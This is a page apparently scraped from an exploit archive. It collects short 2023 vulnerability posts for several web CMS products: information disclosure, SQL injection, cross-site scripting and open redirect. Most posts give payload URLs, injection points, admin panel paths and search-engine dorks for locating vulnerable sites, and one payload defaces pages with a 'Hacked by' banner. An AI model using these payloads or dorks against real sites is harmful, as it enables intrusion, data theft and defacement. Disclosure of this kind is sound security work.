Adlisting Classified Ads version 2.14.0 suffers from an information leakage vulnerability.

    # Exploit Title: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure# Exploit Author: CraCkEr# Date: 25/07/2023# Vendor: Templatecookie# Vendor Homepage: https://templatecookie.com/# Software Link: https://templatecookie.com/demo/adlisting-classified-ads-script# Tested on: Windows 10 Pro# Impact: Sensitive Information Leakage# CVE: CVE-2023-4168## DescriptionInformation disclosure issue in the redirect responses, When accessing any page on the website,Sensitive data, such as API keys, server keys, and app IDs, is being exposed in the body of these redirects.## Steps to Reproduce:When you visit any page on the website, like:https://website/ad-list?category=electronicshttps://website/ad-list-search?page=2https://website/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword=in the body page response there's information leakage for +---------------------+google_map_keyapi_keyauth_domainproject_idstorage_bucketmessaging_sender_idapp_idmeasurement_id+---------------------+Note: The same information leaked, such as the API keys, server keys, and app ID, was added to the "Firebase Push Notification Configuration" in the Administration Panel.Settings of "Firebase Push Notification Configuration" in the Administration Panel, on this Path:https://website/push-notification (Login as Administrator)[-] Done

Adlisting Classified Ads 2.14.0 Information Disclosure

Datalife Engine version 10 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Datalife Engine v10 (ir) SQl injection Vulnerability                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://datalifeengine.ir/                                                                                          || # Dork      : Powered by DataLife Engine © 2013                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use Pyaload : /index.php?newsid=100 (inject her)[+] cpanl : http://127.0.0.1/datalifeengine/admin.php Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Datalife Engine 10 SQL Injection

Database Compilation CMS version 1.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Database compilation CMS v1.2 XSS Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0.2(32-bit)                                             | | # Vendor    : http://mcastel.weebly.com/                                                                                         |  | # Dork      : "Database compilation by Marco Castellani( INAF - Astronomical Observatory of Rome)"                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /table1a.php?sel=<script>alert(/indoushka/);</script>[+] http://127.0.0.1/table1a.php?sel=%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Database Compilation 1.2 Cross Site Scripting

Cyber Infinite CMS version 1.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Cyber Infinite cms v1.0 SQL Injection Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 70.0.1(32-bit)                                             | | # Vendor    : http://citsite.com/                                                                                                |  | # Dork      : "Designed & Developed by: Cyber Infinite Technologies"                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] /view-member-detail.php?id=815 <====| inject here[+] /citcp/login.php <====| LoginGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Cyber Infinite CMS 1.0 SQL Injection

Cvanav-DAW CMS version 0.1 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Cvanav-DAW CMS v0.1 XSS Vulnerability                                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://vanavi.com                                                                                                 |  | # Dork      : intext:''Created by Vanavi.com'' site:cz                                                                           |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : /epodatelna.php?button=Odeslat&adresa=1&dic=1&dotaz=1&email=sample%40email.tst&ic=1&jmeno=1&kod=1&telefon=555-666-0606'"()%26%25<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  http://127.0.0.1/intranethygprahacz/epodatelna.php?button=Odeslat&adresa=1&dic=1&dotaz=1&email=sample%40email.tst&ic=1&jmeno=1&kod=1&telefon=555-666-0606%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Cvanav-DAW CMS 0.1 Cross Site Scripting

CSC-CMS version 1.0.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : CSC-CMS v1.0.0 Sql Injection Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               || # Vendor    : http://creativesales.hu/                                                                                           |  | # Dork      : A honlapot a Creative Sales Consulting készítette.                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Panel : http://127.0.0.1/kkvpalyazathu/admin/[+] http://127.0.0.1/kkvpalyazathu/hirolvaso.php?id=7 <====| inject hereGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

CSC-CMS 1.0.0 SQL Injection

CMS Genetics Centre version 4.0.1 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : CMS Genetics Centre v 4.0.1 Sql injection Vulnerability                                                            || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : https://nanobirdtech.com/                                                                                          |  | # Dork      : by Nanobird Technologies                                                                                           |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  http://127.0.0.1/www/omanadvancedfertilitycom/en/news-detail.php?id=2 <======| inject here[+]  Panel : http://127.0.0.1/www/omanadvancedfertility/com/admin/Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

CMS Genetics Centre 4.0.1 SQL Injection

CMS BMGI International version 4.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : CMS BMGI International v 4.0 XSS Vulnerability                                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit)                                             || # Vendor    : https://batel.net/                                                                                                 |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] use payload : /_Admin_root/authentification.php?lang=%3Cscript%3Ealert(/indoushka/);%3C/script%3E&pw=1&user=yymfqisv[+] http://127.0.0.1/inspa-dzorg/_Admin_root/authentification.php?lang=%3Cscript%3Ealert(/indoushka/);%3C/script%3E&pw=1&user=yymfqisvGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

CMS BMGI International 4.0 Cross Site Scripting

Coupons CMS version 6.00 suffers from an open redirection vulnerability.

**Coupons CMS 6.00 Open Redirection**

Posted Aug 7, 2023

Authored by indoushka

Coupons CMS version 6.00 suffers from an open redirection vulnerability.

tags | exploit

SHA-256 | 6f1d614850036145fc311bc9ae50d863cc9b83863f612a7fda85ed6a6e596b35

Download | Favorite | View

**Coupons CMS 6.00 Open Redirection**

    ====================================================================================================================================| # Title     : Coupons CMS v6.00 URL redirection Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/coupons-cms-500/11686064?ref=shadyro                                                   |  | # Dork      : Powered by CouponsCMS.com                                                                                          |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+]  use payload : /plugin/click.html?backTo=https://packetstormsecurity.com&coupon=2&reveal_code=1[+]  http://127.0.0.1/couponscms.com/demo/plugin/click.html?backTo=https://packetstormsecurity.com&coupon=2&reveal_code=1Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,889)
*   Arbitrary (16,186)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,273)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,341)
*   DoS (23,405)
*   Encryption (2,369)
*   Exploit (51,802)
*   File Inclusion (4,221)
*   File Upload (972)
*   Firewall (821)
*   Info Disclosure (2,765)
*   Intrusion Detection (892)
*   Java (3,038)
*   JavaScript (856)
*   Kernel (6,661)
*   Local (14,447)
*   Magazine (586)
*   Overflow (12,688)
*   Perl (1,423)
*   PHP (5,141)
*   Proof of Concept (2,338)
*   Protocol (3,600)
*   Python (1,534)
*   Remote (30,742)
*   Root (3,579)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,639)
*   Security Tool (7,883)
*   Shell (3,180)
*   Shellcode (1,214)
*   Sniffer (894)
*   Spoof (2,206)
*   SQL Injection (16,354)
*   TCP (2,404)
*   Trojan (687)
*   UDP (891)
*   Virus (664)
*   Vulnerability (31,754)
*   Web (9,655)
*   Whitepaper (3,749)
*   x86 (962)
*   XSS (17,919)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,807)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,382)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (484)
*   RedHat (13,683)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,797)
*   UNIX (9,286)
*   UnixWare (186)
*   Windows (6,568)
*   Other

Coupons CMS 6.00 Open Redirection

Conference Management Software version 3.5.1 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Conference Management Software V3.5.1 Sql injection Vulnerability                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://p30vel.ir/                                                                                                  |  | # Dork      : Designer Asan Hamayesh (Conference Management Software) Ver. 3.5.1                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] http://127.0.0.1/icmaes2017com//en/files.php?id=2 <===== inject here[+] Login : http://127.0.0.1/icmaes2017com/en/signin.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Tag

#windows